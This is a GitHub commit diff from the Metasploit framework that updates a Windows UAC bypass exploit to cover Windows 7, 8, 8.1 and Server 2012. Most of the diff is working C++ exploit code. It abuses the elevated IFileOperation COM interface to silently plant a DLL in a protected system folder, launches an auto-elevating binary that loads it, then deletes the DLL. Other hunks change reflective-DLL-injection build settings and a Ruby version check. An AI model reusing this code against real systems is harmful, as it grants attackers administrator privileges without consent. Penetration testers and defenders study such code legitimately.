Skip to content

Commit 50ecfbf

Browse files
committed
Land rapid7#4553 - Update bypass UAC to work on 7, 8, 8.1, and 2012
2 parents 0f7f75b + 8be813e commit 50ecfbf

File tree

9 files changed

+347
-238
lines changed

9 files changed

+347
-238
lines changed

data/post/bypassuac-x64.dll

-512 Bytes
Binary file not shown.

data/post/bypassuac-x86.dll

-512 Bytes
Binary file not shown.

external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -93,7 +93,7 @@
9393
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
9494
<ClCompile>
9595
<Optimization>Disabled</Optimization>
96-
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
96+
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
9797
<MinimalRebuild>true</MinimalRebuild>
9898
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
9999
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
@@ -132,7 +132,7 @@
132132
<Optimization>MaxSpeed</Optimization>
133133
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
134134
<IntrinsicFunctions>true</IntrinsicFunctions>
135-
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
135+
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions)</PreprocessorDefinitions>
136136
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
137137
<FunctionLevelLinking>true</FunctionLevelLinking>
138138
<PrecompiledHeader />
@@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
190190
</ItemDefinitionGroup>
191191
<ItemGroup>
192192
<ClCompile Include="src\Exploit.cpp" />
193-
<ClCompile Include="src\ReflectiveDll.c" />
194193
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
194+
<ClCompile Include="src\ReflectiveDll.c" />
195195
</ItemGroup>
196196
<ItemGroup>
197-
<ClInclude Include="src\Exploit.h" />
198197
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
199198
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
199+
<ClInclude Include="src\Exploit.h" />
200200
</ItemGroup>
201201
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
202202
<ImportGroup Label="ExtensionTargets">
Lines changed: 151 additions & 112 deletions
Original file line numberDiff line numberDiff line change
@@ -1,119 +1,158 @@
1+
#include "ReflectiveLoader.h"
12
#include "Exploit.h"
23

3-
void exploit()
4-
{
5-
6-
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
7-
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
8-
const wchar_t *sySysPrepExe = L"sysprep.exe";
9-
const wchar_t *szElevDll = L"CRYPTBASE.dll";
10-
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
11-
wchar_t szElevDir[MAX_PATH] = {};
12-
wchar_t szElevDir_syswow64[MAX_PATH] = {};
13-
wchar_t szElevDllFull[MAX_PATH] = {};
14-
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
15-
wchar_t szElevExeFull[MAX_PATH] = {};
16-
wchar_t path[MAX_PATH] = {};
17-
wchar_t windir[MAX_PATH] = {};
18-
const wchar_t *szElevArgs = L"";
19-
const wchar_t *szEIFOMoniker = NULL;
20-
PVOID OldValue = NULL;
21-
22-
IFileOperation *pFileOp = NULL;
23-
IShellItem *pSHISource = 0;
24-
IShellItem *pSHIDestination = 0;
25-
IShellItem *pSHIDelete = 0;
26-
27-
const IID *pIID_EIFO = &__uuidof(IFileOperation);
28-
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
29-
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
30-
31-
GetWindowsDirectoryW(windir, MAX_PATH);
32-
GetTempPathW(MAX_PATH, path);
33-
34-
/* %temp%\cryptbase.dll */
35-
wcscat_s(path, MAX_PATH, szSourceDll);
36-
37-
/* %windir%\System32\sysprep\ */
38-
wcscat_s(szElevDir, MAX_PATH, windir);
39-
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
40-
41-
/* %windir%\sysnative\sysprep\ */
42-
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
43-
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
44-
45-
/* %windir\system32\sysprep\cryptbase.dll */
46-
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
47-
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
48-
49-
/* %windir\sysnative\sysprep\cryptbase.dll */
50-
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
51-
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
52-
53-
/* %windir%\system32\sysprep\sysprep.exe */
54-
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
55-
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
56-
57-
if (CoInitialize(NULL) == S_OK)
58-
{
59-
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
4+
#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;}
5+
6+
extern "C" {
7+
8+
void exploit(BypassUacPaths const * const paths)
9+
{
10+
const wchar_t *szElevArgs = L"";
11+
const wchar_t *szEIFOMoniker = NULL;
12+
13+
PVOID OldValue = NULL;
14+
15+
IFileOperation *pFileOp = NULL;
16+
IShellItem *pSHISource = 0;
17+
IShellItem *pSHIDestination = 0;
18+
IShellItem *pSHIDelete = 0;
19+
20+
BOOL bComInitialised = FALSE;
21+
22+
const IID *pIID_EIFO = &__uuidof(IFileOperation);
23+
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
24+
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
25+
26+
dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir);
27+
dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64);
28+
dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll);
29+
dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull);
30+
dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull);
31+
dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath);
32+
33+
do
6034
{
61-
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
35+
if (CoInitialize(NULL) != S_OK)
36+
{
37+
dprintf("[BYPASSUACINJ] Failed to initialize COM");
38+
break;
39+
}
40+
41+
bComInitialised = TRUE;
42+
43+
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
44+
{
45+
dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
46+
break;
47+
}
48+
49+
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
50+
{
51+
dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
52+
break;
53+
}
54+
55+
if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
56+
{
57+
dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
58+
break;
59+
}
60+
61+
if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
62+
{
63+
dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
64+
break;
65+
}
66+
67+
if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
68+
{
69+
dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
70+
break;
71+
}
72+
73+
/* Copy the DLL file to the target folder*/
74+
if (pFileOp->PerformOperations() != S_OK)
75+
{
76+
dprintf("[BYPASSUACINJ] Unable to copy elev dll");
77+
break;
78+
}
79+
80+
/* Execute the target binary */
81+
SHELLEXECUTEINFOW shinfo;
82+
ZeroMemory(&shinfo, sizeof(shinfo));
83+
shinfo.cbSize = sizeof(shinfo);
84+
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
85+
shinfo.lpFile = paths->szElevExeFull;
86+
shinfo.lpParameters = szElevArgs;
87+
shinfo.lpDirectory = paths->szElevDir;
88+
shinfo.nShow = SW_HIDE;
89+
90+
Wow64DisableWow64FsRedirection(&OldValue);
91+
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
92+
{
93+
WaitForSingleObject(shinfo.hProcess, 10000);
94+
CloseHandle(shinfo.hProcess);
95+
}
96+
97+
if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
98+
|| NULL == pSHIDelete)
99+
{
100+
dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
101+
break;
102+
}
103+
104+
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
62105
{
63-
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
64-
{
65-
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
66-
{
67-
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
68-
{
69-
/* Copy the DLL file to the sysprep folder*/
70-
if (pFileOp->PerformOperations() == S_OK)
71-
{
72-
/* Execute sysprep.exe */
73-
SHELLEXECUTEINFOW shinfo;
74-
ZeroMemory(&shinfo, sizeof(shinfo));
75-
shinfo.cbSize = sizeof(shinfo);
76-
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
77-
shinfo.lpFile = szElevExeFull;
78-
shinfo.lpParameters = szElevArgs;
79-
shinfo.lpDirectory = szElevDir;
80-
shinfo.nShow = SW_HIDE;
81-
82-
Wow64DisableWow64FsRedirection(&OldValue);
83-
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
84-
{
85-
WaitForSingleObject(shinfo.hProcess, 10000);
86-
CloseHandle(shinfo.hProcess);
87-
}
88-
89-
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
90-
{
91-
if (0 != pSHIDelete)
92-
{
93-
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
94-
{
95-
pFileOp->PerformOperations();
96-
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
97-
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
98-
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
99-
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
100-
{
101-
if (0 != pSHIDelete)
102-
{
103-
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
104-
{
105-
pFileOp->PerformOperations();
106-
}
107-
}
108-
}
109-
}
110-
}
111-
}
112-
}
113-
}
114-
}
115-
}
106+
dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
107+
break;
116108
}
109+
110+
if (pFileOp->PerformOperations() == S_OK)
111+
{
112+
dprintf("[BYPASSUACINJ] Successfully deleted dll");
113+
114+
// bail out this point because we don't need to keep trying to delete
115+
break;
116+
}
117+
118+
SAFERELEASE(pSHIDelete);
119+
120+
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
121+
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
122+
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
123+
if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
124+
|| NULL == pSHIDelete)
125+
{
126+
dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
127+
break;
128+
}
129+
130+
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
131+
{
132+
dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
133+
break;
134+
}
135+
136+
if (pFileOp->PerformOperations() == S_OK)
137+
{
138+
dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
139+
}
140+
else
141+
{
142+
dprintf("[BYPASSUACINJ] Failed to delete target DLL");
143+
}
144+
145+
} while (0);
146+
147+
SAFERELEASE(pSHIDelete);
148+
SAFERELEASE(pSHIDestination);
149+
SAFERELEASE(pSHISource);
150+
SAFERELEASE(pFileOp);
151+
152+
if (bComInitialised)
153+
{
154+
CoUninitialize();
117155
}
118156
}
119-
}
157+
158+
}

external/source/exploits/bypassuac_injection/dll/src/Exploit.h

100644100755
Lines changed: 29 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,4 +5,32 @@
55
#include <stdio.h>
66
#include <guiddef.h>
77

8-
EXTERN_C void exploit();
8+
// Uncomment this line to include debug output
9+
//#define DEBUGTRACE
10+
11+
#ifdef DEBUGTRACE
12+
#define dprintf(...) real_dprintf(__VA_ARGS__)
13+
static void real_dprintf(char *format, ...)
14+
{
15+
va_list args;
16+
char buffer[1024];
17+
va_start(args, format);
18+
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
19+
strcat_s(buffer, sizeof(buffer), "\r\n");
20+
OutputDebugStringA(buffer);
21+
}
22+
#else
23+
#define dprintf(...)
24+
#endif
25+
26+
typedef struct _BypassUacPaths
27+
{
28+
wchar_t szElevDir[MAX_PATH];
29+
wchar_t szElevDirSysWow64[MAX_PATH];
30+
wchar_t szElevDll[MAX_PATH];
31+
wchar_t szElevDllFull[MAX_PATH];
32+
wchar_t szElevExeFull[MAX_PATH];
33+
wchar_t szDllTempPath[MAX_PATH];
34+
} BypassUacPaths;
35+
36+
EXTERN_C void exploit(BypassUacPaths const * const paths);

external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c

100644100755
Lines changed: 25 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance;
55

66
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
77
{
8-
BOOL bReturnValue = TRUE;
9-
switch( dwReason )
10-
{
11-
case DLL_QUERY_HMODULE:
12-
if( lpReserved != NULL )
13-
*(HMODULE *)lpReserved = hAppInstance;
14-
break;
15-
case DLL_PROCESS_ATTACH:
16-
hAppInstance = hinstDLL;
17-
exploit();
18-
ExitProcess(0);
19-
break;
20-
case DLL_PROCESS_DETACH:
21-
case DLL_THREAD_ATTACH:
22-
case DLL_THREAD_DETACH:
23-
break;
24-
}
25-
return bReturnValue;
8+
switch (dwReason)
9+
{
10+
case DLL_QUERY_HMODULE:
11+
if (lpReserved != NULL)
12+
{
13+
*(HMODULE *)lpReserved = hAppInstance;
14+
}
15+
break;
16+
case DLL_PROCESS_ATTACH:
17+
hAppInstance = hinstDLL;
18+
19+
if (NULL != lpReserved)
20+
{
21+
dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved);
22+
exploit((BypassUacPaths*)lpReserved);
23+
}
24+
25+
ExitProcess(0);
26+
break;
27+
default:
28+
break;
29+
}
30+
31+
return TRUE;
32+
2633
}

lib/msf/core/post/windows/priv.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -90,7 +90,7 @@ def is_uac_enabled?
9090
uac = false
9191
winversion = session.sys.config.sysinfo['OS']
9292

93-
if winversion =~ /Windows (Vista|7|8|2008)/
93+
if winversion =~ /Windows (Vista|7|8|2008|2012)/
9494
unless is_system?
9595
begin
9696
enable_lua = registry_getvaldata(

0 commit comments

Comments
 (0)